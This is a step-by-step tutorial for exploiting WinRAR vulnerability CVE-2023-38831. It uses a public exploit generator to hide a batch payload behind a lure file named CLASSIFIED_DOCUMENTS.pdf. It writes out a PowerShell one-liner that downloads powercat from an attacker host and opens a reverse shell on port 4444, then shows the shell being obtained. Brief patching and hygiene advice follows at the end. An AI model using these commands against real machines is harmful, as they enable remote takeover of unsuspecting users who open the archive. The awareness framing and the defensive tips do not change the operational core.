# Exploit the WinRAR - CVE-2023-38831

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2FGRLXz0x5Tbd3YmFrzGnE%2Fimage.png?alt=media&#x26;token=5645198c-0d61-45a5-b167-5bbb4b5df867" alt="" width="488"><figcaption><p><em>Image Source:</em><a href="https://www.helpnetsecurity.com/2023/08/23/cve-2023-38831-exploited/"><em>https://www.helpnetsecurity.com/2023/08/23/cve-2023-38831-exploited/</em></a></p></figcaption></figure>

{% hint style="warning" %}
Use what I'm about to say in this article only for the right purposes, such as raising security awareness and improving the security posture of your environments. I do not accept any responsibility for other uses.
{% endhint %}

CVE-2023-38831 is a file extension spoofing vulnerability in RARLabs WinRAR. By exploiting this vulnerability, attackers can create a RAR or ZIP archive containing a harmless file and embed malicious code in a folder with the same name. If the user opens the archive to view the harmless file, the malicious code is executed.

This vulnerability was used to distribute malware in the wild from April to August 2023. The target audience of the attacks were typically individuals with access to information about financial markets. Attackers tricked victims into opening malicious archives by sending them via email or sharing them on websites or social media platforms.

**Let's Exploit WinRAR**

**Requirements**

* WinRAR version 6.22 or earlier.
* Winrar Exploit Tool(<https://github.com/b1tg/CVE-2023-38831-winrar-exploit>)
* Victim Machine
* Attacker Machine
* Powercat(optionally)

Let's download our exploit tool via Git or the interface.

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2FDjKSTmyh184WqDgWgSxJ%2Fimage.png?alt=media&#x26;token=bd7114d2-0a24-41cd-899d-d7345e28231b" alt=""><figcaption></figcaption></figure>

First, check the WinRAR Version if it is vulnerable version or not.

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2FQBLOngG5epWLVM8HhT90%2Fimage.png?alt=media&#x26;token=c97ae869-b923-4805-87f4-db218bbb0e21" alt="" width="524"><figcaption></figcaption></figure>

Let's open the "*<mark style="color:purple;">**script.bat**</mark>*" file with a text editor among the files we downloaded.&#x20;

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2FY4LkNjYKXy29tYR4fLBr%2Fimage.png?alt=media&#x26;token=65b50b1b-57c4-4cd5-9d63-9a034bda0e81" alt=""><figcaption></figcaption></figure>

This bat file is the file containing the malicious code that the vulnerable .rar file will run. Let's put our [powercat ](https://alirodoplu.gitbook.io/ali-rodoplu/offensive/getting-reverse-shell-with-powercat)command for revershell inside.

{% code overflow="wrap" %}

```batch
powershell -c "IEX (New-Object System.Net.WebClient).DownloadString('http://<Attacker-IP>/powercat.ps1');powercat -c <Attacker-IP> -p 4444 -e cmd"
```

{% endcode %}

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2FqGyEuPhYzPlJOsIvgioV%2Fimage.png?alt=media&#x26;token=f077f461-709d-4a6a-8bd7-2666d8d9a12e" alt=""><figcaption></figcaption></figure>

Then start a NetCat listener in attacker host and  run the "*<mark style="color:purple;">**cve-2023-38831-exp-gen.py**</mark>*" file in the tool we downloaded with the relevant parameters as follows.

{% code overflow="wrap" %}

```batch
python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat  poc.rar
```

{% endcode %}

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2FlQpps5OkmnSKRginl1yP%2Fimage.png?alt=media&#x26;token=51b5b407-3775-4220-927f-103d02f62614" alt=""><figcaption></figcaption></figure>

After we run it, we see that a file called poc.rar has been created. This file is a PDF containing our malicious code. Let's run the PDF and see what happens.

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2FDzl4mddLN4Noc2lPgD7g%2Fimage.png?alt=media&#x26;token=342daade-2781-404f-96cd-5f889bd23d5d" alt=""><figcaption></figcaption></figure>

When we check our attacker host, we see that we've obtained reverse shell.

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2FKg8VFTmBDpupe8ZsMiv9%2Fimage.png?alt=media&#x26;token=2dda6f1b-fc34-405e-8964-6848b5eab40b" alt=""><figcaption></figcaption></figure>

How can we defend ourselves against this vulnerability?

* **Use the latest version of WinRAR.** WinRAR has released a security patch that addresses CVE-2023-38831. To install the patch, open WinRAR and select "Updates" from the "File" menu.
* **Only open files from trusted sources.** To reduce your risk of being exposed to an attack that uses CVE-2023-38831, only open files from sources you trust.
* **Check the contents of files before opening them.** To further reduce your risk of being exposed to an attack that uses CVE-2023-38831, check the contents of the file before opening it. This will help you ensure that the file does not contain a virus or malware.
